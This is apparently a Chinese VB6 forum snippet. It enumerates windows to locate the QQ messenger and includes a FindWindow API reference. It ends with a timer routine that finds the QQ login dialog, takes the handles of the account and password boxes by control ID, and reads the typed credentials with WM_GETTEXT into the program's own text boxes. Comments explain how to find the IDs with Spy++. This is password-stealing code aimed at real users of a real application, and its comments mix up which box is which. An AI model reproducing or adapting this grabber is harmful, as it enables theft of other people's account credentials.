Private Sub Command1_Click()
QQ = 0
EnumWindows AddressOf myenum, ByVal 0&
If QQ Then
Debug.Print "找到了qq"
Debug.Print Hex(QQ)
End If
End Sub
---------------------------
模块
Option Explicit
Public Declare Function EnumWindows Lib "user32" (ByVal lpEnumFunc As Long, ByVal lparam As Long) As Long
Public Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Public QQ As Long
Public Function myenum(ByVal hwnd As Long, ByVal lparam As Long) As Long
Dim s As String * 255
GetWindowText hwnd, s, 255
Dim ss As String
ss = Chr(10) & Chr(13) & Chr(13) & Chr(10) & Chr(10) & Chr(10) & Chr(32) & Chr(32)
If Mid(s, 1, 8) = ss Then
QQ = hwnd
End If
myenum = 1
End Function
【声明】
Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
【说明】
寻找窗口列表中第一个符合指定条件的顶级窗口(在vb里使用:FindWindow最常见的一个用途是获得ThunderRTMain类的隐藏窗口的句柄;该类是所有运行中vb执行程序的一部分。获得句柄后,可用api函数GetWindowText取得这个窗口的名称;该名也是应用程序的标题)
【返回值】
Long,找到窗口的句柄。如未找到相符窗口,则返回零。会设置GetLastError
【参数表】
lpClassName ---- String,指向包含了窗口类名的空中止(C语言)字串的指针;或设为零,表示接收任何类
用一个时间控件,然后再用Findwidow这个api就可以了.具本代码如下:
Private Sub Timer1_Timer()
Dim str As String
Dim nmb As String
Dim qqhwnd As Long
Dim numberhwnd As Long
Dim pwdhwnd As Long
Dim temp As Long
str = String(80, 0)
nmb = String(8, 0)
qqhwnd = FindWindow(vbNullString, "QQ用户登录")
'到这里就可以得到登录框的句柄了.注意qq要大写哦!
If qqhwnd <> 0 Then
numberhwnd = GetDlgItem(qqhwnd, &H3EC) '得到用户号码框的名柄
pwdhwnd = GetDlgItem(qqhwnd, &H3F4) '得到密码框的句柄
'getdlgitem你肯定会用了,那么&h3ec是那里来的呀,这个便是它的ID号,那么怎么得到呢?你用vc++中的工具 SPYXX就可以得到了.
SendMessage pwdhwnd, WM_GETTEXT, Len(str), ByVal str '得到号码
SendMessage numberhwnd, WM_GETTEXT, Len(nmb), ByVal nmb '得到密码
notxt.Text = nmb
pwdtxt.Text = str
DoEvents
End If
End Sub